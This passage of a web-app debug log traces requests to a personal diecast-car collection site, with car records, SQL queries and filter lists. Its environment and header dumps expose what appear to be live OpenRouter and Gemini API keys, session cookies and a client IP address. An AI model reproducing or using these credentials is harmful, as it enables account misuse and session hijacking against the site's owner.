      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-15T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Subaru',
      vehicle_brand_id: 153,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 78,
      model_name: 'Ford E Transit 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 77,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 76,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 75,
      model_name: 'Volva 1986 240 Sedan',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 74,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 72,
      model_name: 'Alfa Romeo Duetto',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-22T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 71,
      model_name: '1966 Land Rover Gen 11 Safari',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 70,
      model_name: '1963 Ford Thunderbird',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 69,
      model_name: '22 Ford F 150 Lightning',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 59,
      model_name: 'Blaze bluster II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-09T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 58,
      model_name: 'Jeep Avenger 2024',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-01T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 57,
      model_name: 'Audi E Tron EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-01T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 56,
      model_name: 'Jeep Wagoneer 2022',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T05:34:44.367Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T05:34:44.367Z server-connect:app Executing action step identify
2026-02-04T05:34:44.367Z server-connect:app options: { provider: 'security' }
2026-02-04T05:34:44.368Z server-connect:output identity: 1
2026-02-04T05:34:44.368Z server-connect:app Executing action step restrict
2026-02-04T05:34:44.368Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T05:34:44.368Z server-connect:output restrict: undefined
2026-02-04T05:34:44.368Z server-connect:app Executing action step select
2026-02-04T05:34:44.368Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T05:34:44.369Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes-Benz' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T05:34:44.369Z server-connect:app Executing action step select
2026-02-04T05:34:44.369Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T05:34:44.370Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T05:34:44.370Z server-connect:app Executing action step select
2026-02-04T05:34:44.370Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T05:34:44.371Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T05:46:57.773Z server-connect:router Serving templateView /diecast
2026-02-04T05:46:57.780Z server-connect:app Executing action step identify
2026-02-04T05:46:57.780Z server-connect:app options: { provider: 'security' }
2026-02-04T05:46:57.780Z server-connect:output identity: 1
2026-02-04T05:46:57.780Z server-connect:app Executing action step restrict
2026-02-04T05:46:57.780Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T05:46:57.785Z server-connect:output restrict: undefined
2026-02-04T05:46:57.785Z server-connect:router Render template layouts/main
2026-02-04T05:46:57.785Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { search: '', manufacturer: '73' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: '*/*',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'empty',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'search=&manufacturer=73',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: '*/*',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-02-04T05:47:34.079Z server-connect:router Serving templateView /diecast
2026-02-04T05:47:34.080Z server-connect:app Executing action step identify
2026-02-04T05:47:34.080Z server-connect:app options: { provider: 'security' }
2026-02-04T05:47:34.080Z server-connect:output identity: 1
2026-02-04T05:47:34.080Z server-connect:app Executing action step restrict
2026-02-04T05:47:34.080Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T05:47:34.081Z server-connect:output restrict: undefined
2026-02-04T05:47:34.081Z server-connect:router Render template layouts/main
2026-02-04T05:47:34.081Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { search: '', manufacturer: '73' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'search=&manufacturer=73',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-02-04T05:47:35.429Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-04T05:47:35.430Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-04T05:47:35.432Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T05:47:35.433Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T05:47:35.433Z server-connect:app Executing action step identify
2026-02-04T05:47:35.433Z server-connect:app options: { provider: 'security' }
2026-02-04T05:47:35.433Z server-connect:output identity: 1
2026-02-04T05:47:35.433Z server-connect:app Executing action step restrict
2026-02-04T05:47:35.433Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T05:47:35.434Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T05:47:35.434Z server-connect:output restrict: undefined
2026-02-04T05:47:35.434Z server-connect:app Executing action step select
2026-02-04T05:47:35.434Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-04T05:47:35.435Z server-connect:app Executing action step identify
2026-02-04T05:47:35.435Z server-connect:app options: { provider: 'security' }
2026-02-04T05:47:35.435Z server-connect:output identity: 1
2026-02-04T05:47:35.435Z server-connect:app Executing action step restrict
2026-02-04T05:47:35.435Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T05:47:35.436Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T05:47:35.437Z server-connect:app Executing action step identify
2026-02-04T05:47:35.437Z server-connect:app options: { provider: 'security' }
2026-02-04T05:47:35.437Z server-connect:output identity: 1
2026-02-04T05:47:35.437Z server-connect:app Executing action step restrict
2026-02-04T05:47:35.437Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T05:47:35.437Z server-connect:output restrict: undefined
2026-02-04T05:47:35.437Z server-connect:app Executing action step single
2026-02-04T05:47:35.437Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-04T05:47:35.438Z server-connect:app Executing action step identify
2026-02-04T05:47:35.438Z server-connect:app options: { provider: 'security' }
2026-02-04T05:47:35.438Z server-connect:output identity: 1
2026-02-04T05:47:35.438Z server-connect:app Executing action step restrict
2026-02-04T05:47:35.438Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T05:47:35.439Z server-connect:app Executing action step identify
2026-02-04T05:47:35.439Z server-connect:app options: { provider: 'security' }
2026-02-04T05:47:35.439Z server-connect:output identity: 1
2026-02-04T05:47:35.439Z server-connect:app Executing action step restrict
2026-02-04T05:47:35.439Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T05:47:35.441Z server-connect:output restrict: undefined
2026-02-04T05:47:35.441Z server-connect:app Executing action step select
2026-02-04T05:47:35.441Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T05:47:35.443Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
